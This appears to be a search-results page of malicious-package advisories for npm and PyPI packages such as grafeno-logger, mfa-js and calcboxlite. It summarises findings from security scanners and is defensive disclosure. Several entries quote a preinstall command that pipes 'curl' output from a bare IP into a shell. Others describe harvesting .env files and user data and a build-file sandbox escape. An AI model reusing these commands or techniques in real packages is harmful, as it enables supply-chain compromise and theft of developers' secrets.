330237 matches found
Malicious code in amplitude-experiment (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 110901fcd2d59ab6eed44d962da05830610e5c3cb03ca103db5a379e6c6052e4 package.json declares a single dependency whose key equals the package's own name amplitude-experiment and whose source is the bare HTTPS URL...
MAL-2026-15496 Malicious code in amplitude-experiment (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 110901fcd2d59ab6eed44d962da05830610e5c3cb03ca103db5a379e6c6052e4 package.json declares a single dependency whose key equals the package's own name amplitude-experiment and whose source is the bare HTTPS URL...
Malicious code in sycm-vendors (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6a876475c44d594b90a19bc6c9bb3d5be6f6d0a19091218ef5e03f92e1b86e1 package.json declares a self-named dependency 'sycm-vendors' whose source is the bare URL https://repo.securityctrl.com/sycm-vendors rather than a...
Malicious code in grafeno-api (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6324266ac0f7a76fc3a8e8209d194daa17bdd47c913207f218f7c1683db4333c package.json declares a preinstall script that shells out via childprocess to curl http://216.126.236.46/x.sh and pipe the response into /bin/bash,...
MAL-2026-15503 Malicious code in grafeno-client (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...
MAL-2026-15506 Malicious code in grafeno-logger (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...
MAL-2026-15494 Malicious code in @7nohe/openapi-react-query-codegen (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab8f8efdad9084d2a7c5ae5058ffc18886d68bfe1c676239fd7e0d41342fc700 The tarball ships a binding.gyp at the package root whose conditions field abuses GYP's Python expression evaluator to walk .class.base.subclasses to...
Malicious code in @7nohe/openapi-react-query-codegen (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab8f8efdad9084d2a7c5ae5058ffc18886d68bfe1c676239fd7e0d41342fc700 The tarball ships a binding.gyp at the package root whose conditions field abuses GYP's Python expression evaluator to walk .class.base.subclasses to...
Malicious code in grafeno-actions (npm)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 3a52df88a9094028961676cb72f9e43f88fcef959cc4e1db63687785058c2d7d The OpenSSF Package Analysis project identified 'grafeno-actions' @ 999.0.0 npm as malicious. It is considered malicious because: - The package...
MAL-2026-15492 Malicious code in mfa-js (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3afbd77114dc45ac9259720ffd355659d0442c917aff5a734d9ea0ca337cba77 On require'mfa-js', lib/cache.js executes a Windows-gated IIFE that downloads a JavaScript payload from...
Malicious code in ozturk-mfa (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 99e9596887f3f2f79c96c517c99990def7caa32883f97e9486ed2b52e1e90cdf Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in mfa-js (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3afbd77114dc45ac9259720ffd355659d0442c917aff5a734d9ea0ca337cba77 On require'mfa-js', lib/cache.js executes a Windows-gated IIFE that downloads a JavaScript payload from...
MAL-2026-15493 Malicious code in ozturk-mfa (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 99e9596887f3f2f79c96c517c99990def7caa32883f97e9486ed2b52e1e90cdf Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in borsh-lite (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eed0e447cd98b9470a197c1dd9b341e6a93ea6f39088f4f93335979827f707b8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15491 Malicious code in eip712-lite (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bb8d4640ca63919533ea826766c735fb8a8bdf8501bb33187ae30f905d82fc2 index.js contains an IIFE that fires on require and walks the installer's home and project directories collecting.env files filtered by...
MAL-2026-15489 Malicious code in borsh-lite (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eed0e447cd98b9470a197c1dd9b341e6a93ea6f39088f4f93335979827f707b8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in clmm-fee-audit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 71fcd4c0b7e17eac77e370c1e295e81d8aab97adba9c1c6b8954f26786c852f0 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15490 Malicious code in clmm-fee-audit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 71fcd4c0b7e17eac77e370c1e295e81d8aab97adba9c1c6b8954f26786c852f0 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15488 Malicious code in calcboxlite (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 227fe04d85516bd5348dea2c0c25078d057eacb4f439fd6a241ea0409b7afd09 setup.py and calcboxlite/init.py both invoke a top-level report function that reads getpass.getuser and socket.gethostname and POSTs them as JSON to ...
MAL-2026-14774 Malicious code in 3layerdipstackhr3ocw (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f7f5462a6cad4608977cbf01ae1fab24a1257afe36d254ce404ca49b5aab99c The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...